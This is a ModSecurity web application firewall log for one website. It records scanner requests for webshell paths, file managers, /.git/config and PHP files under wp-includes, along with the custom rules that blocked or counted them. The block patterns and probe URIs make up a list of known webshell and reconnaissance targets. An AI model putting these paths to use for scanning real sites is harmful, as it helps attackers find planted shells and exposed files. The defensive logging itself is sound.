[Tue Dec 23 22:19:42.746955 2025] [:error] [pid 11812:tid 11832] [client 23.98.95.46:63255] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aUqk_rBkIQ4nTXm4A3UulAAAAJI"]
[Tue Dec 23 22:19:43.902205 2025] [:error] [pid 54340:tid 54354] [client 23.98.95.46:56667] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ot.php"] [unique_id "aUqk_5ye8-oij4iGhog3hwAAAgw"]
[Tue Dec 23 22:19:47.528219 2025] [:error] [pid 54340:tid 54348] [client 23.98.95.46:56693] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ot.php"] [unique_id "aUqlA5ye8-oij4iGhog3jAAAAgY"]
[Tue Dec 23 22:19:49.744110 2025] [:error] [pid 54297:tid 54319] [client 23.98.95.46:57760] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ot.php"] [unique_id "aUqlBUZMNime0caoKPKy9AAAAZI"]
[Tue Dec 23 22:19:50.597105 2025] [:error] [pid 54408:tid 54425] [client 23.98.95.46:60002] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ot.php"] [unique_id "aUqlBmup4YbWx_MWvp1pSQAAAo4"]
[Tue Dec 23 22:19:55.907844 2025] [:error] [pid 3405:tid 3444] [client 23.98.95.46:64944] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/post.php"] [unique_id "aUqlC7dHHpIDpQ39rwldtwAAAAc"]
[Tue Dec 23 22:19:58.256239 2025] [:error] [pid 3405:tid 3460] [client 23.98.95.46:55754] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/post.php"] [unique_id "aUqlDrdHHpIDpQ39rwldvQAAABc"]
[Tue Dec 23 22:19:59.820741 2025] [:error] [pid 3405:tid 3442] [client 23.98.95.46:55758] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/post.php"] [unique_id "aUqlD7dHHpIDpQ39rwldxgAAAAU"]
[Tue Dec 23 22:20:05.860032 2025] [:error] [pid 54375:tid 54380] [client 23.98.95.46:57740] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/post.php"] [unique_id "aUqlFZ1Yro3O5R2WY-CC2QAAAkM"]
[Tue Dec 23 22:20:06.785587 2025] [:error] [pid 3405:tid 3437] [client 23.98.95.46:60008] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aUqlFrdHHpIDpQ39rwldzwAAAAA"]
[Tue Dec 23 22:20:08.601998 2025] [:error] [pid 54297:tid 54324] [client 23.98.95.46:64956] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aUqlGEZMNime0caoKPKzBgAAAZc"]
[Tue Dec 23 22:20:10.260064 2025] [:error] [pid 11812:tid 11814] [client 23.98.95.46:58036] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aUqlGrBkIQ4nTXm4A3UuowAAAIA"]
[Tue Dec 23 22:20:15.964339 2025] [:error] [pid 11812:tid 11834] [client 23.98.95.46:57453] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aUqlH7BkIQ4nTXm4A3UurgAAAJQ"]
[Wed Dec 24 02:47:55.454518 2025] [:error] [pid 17591:tid 17600] [client 106.119.167.146:50599] [client 106.119.167.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUrj25H0gxj6Q9MQR2IuogAAAIY"]
[Wed Dec 24 06:06:25.313799 2025] [:error] [pid 54139:tid 54163] [client 142.93.189.195:54540] [client 142.93.189.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aUsSYcrYCZenIDzgXuJ-6QAAARY"]
[Wed Dec 24 07:12:15.293871 2025] [:error] [pid 16550:tid 16555] [client 43.153.102.138:42386] [client 43.153.102.138] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUshz6YYcdD-LuO7vrATSAAAAMM"]
[Wed Dec 24 09:26:59.902190 2025] [:error] [pid 16467:tid 16500] [client 187.19.156.176:61278] [client 187.19.156.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.19.156.176, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aUtBY40TJMcBxX5slgq37wAAAEM"]
[Wed Dec 24 10:45:08.340243 2025] [:error] [pid 16467:tid 16515] [client 63.135.161.54:53229] [client 63.135.161.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aUtTtI0TJMcBxX5slgrNQQAAAFI"]
[Wed Dec 24 10:45:09.646808 2025] [:error] [pid 54139:tid 54160] [client 63.135.161.65:31387] [client 63.135.161.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aUtTtcrYCZenIDzgXuLtpgAAARM"]
[Wed Dec 24 10:45:11.514318 2025] [:error] [pid 16467:tid 16516] [client 104.234.53.216:36391] [client 104.234.53.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aUtTt40TJMcBxX5slgrNWQAAAFM"]
[Wed Dec 24 10:45:12.854827 2025] [:error] [pid 16468:tid 16543] [client 63.135.161.57:60337] [client 63.135.161.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aUtTuIdyfuSTFLkCbP8RsgAAAJM"]
[Wed Dec 24 10:45:15.870561 2025] [:error] [pid 16550:tid 16563] [client 63.135.161.51:33595] [client 63.135.161.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aUtTu6YYcdD-LuO7vrBSPAAAAMs"]
[Wed Dec 24 10:45:16.716867 2025] [:error] [pid 54139:tid 54144] [client 63.135.161.53:26431] [client 63.135.161.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aUtTvMrYCZenIDzgXuLuDgAAAQM"]
[Wed Dec 24 10:45:17.145310 2025] [:error] [pid 16550:tid 16572] [client 104.234.53.218:21325] [client 104.234.53.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aUtTvaYYcdD-LuO7vrBSTgAAANQ"]
[Wed Dec 24 10:45:17.766139 2025] [:error] [pid 16466:tid 16491] [client 63.135.161.53:61715] [client 63.135.161.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aUtTvbu0JcuKJMjJn6yyjAAAABU"]
[Wed Dec 24 10:45:18.432622 2025] [:error] [pid 54139:tid 54158] [client 63.135.161.51:64317] [client 63.135.161.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aUtTvsrYCZenIDzgXuLuLQAAARE"]
[Wed Dec 24 10:45:18.876463 2025] [:error] [pid 16468:tid 16536] [client 63.135.161.67:48677] [client 63.135.161.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aUtTvodyfuSTFLkCbP8SBwAAAIw"]
[Wed Dec 24 10:45:19.524186 2025] [:error] [pid 16468:tid 16526] [client 104.234.53.213:51685] [client 104.234.53.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aUtTv4dyfuSTFLkCbP8SFgAAAII"]
[Wed Dec 24 10:45:20.529370 2025] [:error] [pid 16468:tid 16541] [client 63.135.161.60:54497] [client 63.135.161.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aUtTwIdyfuSTFLkCbP8SIgAAAJE"]
[Wed Dec 24 10:45:21.504882 2025] [:error] [pid 16466:tid 16477] [client 63.135.161.57:31011] [client 63.135.161.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aUtTwbu0JcuKJMjJn6yyrQAAAAc"]
[Wed Dec 24 10:45:22.175617 2025] [:error] [pid 54139:tid 54148] [client 104.234.53.216:36095] [client 104.234.53.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aUtTwsrYCZenIDzgXuLuZwAAAQc"]
[Wed Dec 24 10:45:22.953505 2025] [:error] [pid 16468:tid 16536] [client 63.135.161.75:34231] [client 63.135.161.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aUtTwodyfuSTFLkCbP8SOgAAAIw"]
[Wed Dec 24 10:45:25.259730 2025] [:error] [pid 16550:tid 16573] [client 63.135.161.53:44763] [client 63.135.161.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aUtTxaYYcdD-LuO7vrBSrwAAANU"]
[Wed Dec 24 10:45:25.950987 2025] [:error] [pid 16468:tid 16543] [client 63.135.161.72:21395] [client 63.135.161.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aUtTxYdyfuSTFLkCbP8SXQAAAJM"]
[Wed Dec 24 10:45:26.876761 2025] [:error] [pid 16468:tid 16538] [client 63.135.161.66:29403] [client 63.135.161.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aUtTxodyfuSTFLkCbP8SbgAAAI4"]
[Wed Dec 24 10:45:27.588922 2025] [:error] [pid 16550:tid 16557] [client 63.135.161.50:44711] [client 63.135.161.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aUtTx6YYcdD-LuO7vrBSxAAAAMU"]
[Wed Dec 24 10:45:28.987238 2025] [:error] [pid 16467:tid 16499] [client 104.234.53.221:20949] [client 104.234.53.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aUtTyI0TJMcBxX5slgrOXwAAAEI"]
[Wed Dec 24 10:45:30.670321 2025] [:error] [pid 16468:tid 16533] [client 104.234.53.222:50787] [client 104.234.53.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aUtTyodyfuSTFLkCbP8SrgAAAIk"]
[Wed Dec 24 10:45:31.670615 2025] [:error] [pid 16467:tid 16497] [client 63.135.161.57:21601] [client 63.135.161.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aUtTy40TJMcBxX5slgrOggAAAEA"]
[Wed Dec 24 10:45:32.112380 2025] [:error] [pid 16467:tid 16518] [client 104.234.53.226:58177] [client 104.234.53.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aUtTzI0TJMcBxX5slgrOigAAAFU"]
[Wed Dec 24 10:45:32.574802 2025] [:error] [pid 16550:tid 16564] [client 63.135.161.70:38839] [client 63.135.161.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aUtTzKYYcdD-LuO7vrBTBwAAAMw"]
[Wed Dec 24 10:45:33.931968 2025] [:error] [pid 16468:tid 16537] [client 63.135.161.71:40701] [client 63.135.161.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aUtTzYdyfuSTFLkCbP8S2QAAAI0"]
[Wed Dec 24 10:45:35.500166 2025] [:error] [pid 16468:tid 16537] [client 63.135.161.67:44945] [client 63.135.161.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aUtTz4dyfuSTFLkCbP8S5gAAAI0"]
[Wed Dec 24 10:45:35.943625 2025] [:error] [pid 16468:tid 16547] [client 63.135.161.56:54669] [client 63.135.161.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUtTz4dyfuSTFLkCbP8S7gAAAJc"]
[Wed Dec 24 10:45:38.414856 2025] [:error] [pid 16466:tid 16492] [client 104.234.53.213:36713] [client 104.234.53.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aUtT0ru0JcuKJMjJn6yzZwAAABY"]
[Wed Dec 24 10:45:39.805584 2025] [:error] [pid 16467:tid 16504] [client 104.234.53.218:57115] [client 104.234.53.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.218, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aUtT040TJMcBxX5slgrPDQAAAEc"]
[Wed Dec 24 10:45:42.922102 2025] [:error] [pid 16467:tid 16519] [client 104.234.53.218:57115] [client 104.234.53.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aUtT1o0TJMcBxX5slgrPRwAAAFY"]
[Wed Dec 24 10:45:43.932456 2025] [:error] [pid 16466:tid 16490] [client 63.135.161.53:32665] [client 63.135.161.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.53, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aUtT17u0JcuKJMjJn6yzuQAAABQ"]
[Wed Dec 24 10:45:44.594325 2025] [:error] [pid 16466:tid 16483] [client 63.135.161.53:32665] [client 63.135.161.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aUtT2Lu0JcuKJMjJn6yzwwAAAA0"]
[Wed Dec 24 10:45:47.127781 2025] [:error] [pid 54139:tid 54158] [client 104.234.53.225:27535] [client 104.234.53.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aUtT28rYCZenIDzgXuLv2wAAARE"]
[Wed Dec 24 10:45:49.936344 2025] [:error] [pid 16467:tid 16510] [client 63.135.161.57:42163] [client 63.135.161.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aUtT3Y0TJMcBxX5slgrPpAAAAE0"]
